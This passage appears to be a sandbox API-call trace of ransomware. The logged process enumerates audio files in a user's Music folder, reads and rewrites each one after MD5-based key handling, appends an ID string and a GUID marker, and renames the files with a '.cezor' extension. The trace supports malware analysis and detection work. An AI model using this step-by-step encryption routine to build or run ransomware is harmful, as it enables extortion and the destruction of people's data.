(hHash=0x3038608) returned 1 [0060.368] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5d10) returned 0x31218d0 [0060.368] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.368] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x5d0d, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x5d0d, lpOverlapped=0x0) returned 1 [0060.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.368] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5d12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.369] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.369] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.369] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.369] CloseHandle (hObject=0x5c4) returned 1 [0060.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0060.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.370] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wEWdm1lt.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wewdm1lt.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wEWdm1lt.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wewdm1lt.wav.cezor")) returned 1 [0060.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.370] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.371] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863e1530, ftCreationTime.dwHighDateTime=0x1d4cccb, ftLastAccessTime.dwLowDateTime=0xb1859c90, ftLastAccessTime.dwHighDateTime=0x1d4c5f5, ftLastWriteTime.dwLowDateTime=0xb1859c90, ftLastWriteTime.dwHighDateTime=0x1d4c5f5, nFileSizeHigh=0x0, nFileSizeLow=0x8a56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wHquroq M2bDSunIrjJ.wav", cAlternateFileName="WHQURO~1.WAV")) returned 1 [0060.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.371] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wHquroq M2bDSunIrjJ.wav") returned=".wav" [0060.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wHquroq M2bDSunIrjJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\whquroq m2bdsunirjj.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.372] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=35414) returned 1 [0060.372] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.374] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8a30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.374] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.375] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.375] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x8a56, lpOverlapped=0x0) returned 1 [0060.375] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.375] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.375] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.375] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.376] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.376] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.376] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.376] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.376] GetLastError () returned 0x0 [0060.376] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.376] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a60) returned 0x3132418 [0060.376] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.376] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x8a51, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x8a51, lpOverlapped=0x0) returned 1 [0060.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.377] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8a56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.377] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.377] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.377] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.377] CloseHandle (hObject=0x5c4) returned 1 [0060.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.378] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wHquroq M2bDSunIrjJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\whquroq m2bdsunirjj.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wHquroq M2bDSunIrjJ.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\whquroq m2bdsunirjj.wav.cezor")) returned 1 [0060.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.379] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.379] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2909b5b0, ftCreationTime.dwHighDateTime=0x1d4c9db, ftLastAccessTime.dwLowDateTime=0x66ee0000, ftLastAccessTime.dwHighDateTime=0x1d4cd48, ftLastWriteTime.dwLowDateTime=0x66ee0000, ftLastWriteTime.dwHighDateTime=0x1d4cd48, nFileSizeHigh=0x0, nFileSizeLow=0x102d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XQtttNc8l WMW7IPg.m4a", cAlternateFileName="XQTTTN~1.M4A")) returned 1 [0060.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.380] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XQtttNc8l WMW7IPg.m4a") returned=".m4a" [0060.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XQtttNc8l WMW7IPg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xqtttnc8l wmw7ipg.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.380] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=66261) returned 1 [0060.380] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.382] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x102af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.382] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.383] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.383] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x102d5, lpOverlapped=0x0) returned 1 [0060.384] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.384] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.384] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.384] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.384] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.384] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.384] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.384] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.384] GetLastError () returned 0x0 [0060.385] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.385] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x102e0) returned 0x3132418 [0060.385] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.385] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x102d0, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x102d0, lpOverlapped=0x0) returned 1 [0060.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.385] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x102d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.386] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.386] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.386] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.386] CloseHandle (hObject=0x5c4) returned 1 [0060.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.387] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XQtttNc8l WMW7IPg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xqtttnc8l wmw7ipg.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XQtttNc8l WMW7IPg.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xqtttnc8l wmw7ipg.m4a.cezor")) returned 1 [0060.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.387] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.388] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dbe0c20, ftCreationTime.dwHighDateTime=0x1d4d2d3, ftLastAccessTime.dwLowDateTime=0xb5710520, ftLastAccessTime.dwHighDateTime=0x1d4cdd8, ftLastWriteTime.dwLowDateTime=0xb5710520, ftLastWriteTime.dwHighDateTime=0x1d4cdd8, nFileSizeHigh=0x0, nFileSizeLow=0x53aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_9l8.wav", cAlternateFileName="")) returned 1 [0060.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_9l8.wav") returned=".wav" [0060.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_9l8.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_9l8.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.389] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=21418) returned 1 [0060.389] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.391] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.391] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.392] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.392] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x53aa, lpOverlapped=0x0) returned 1 [0060.392] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.392] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.392] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.392] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.393] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.393] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.393] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.393] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.393] GetLastError () returned 0x0 [0060.393] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.393] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x53b0) returned 0x31218d0 [0060.393] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.393] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x53a5, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x53a5, lpOverlapped=0x0) returned 1 [0060.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.393] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x53aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.394] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.394] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.394] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, 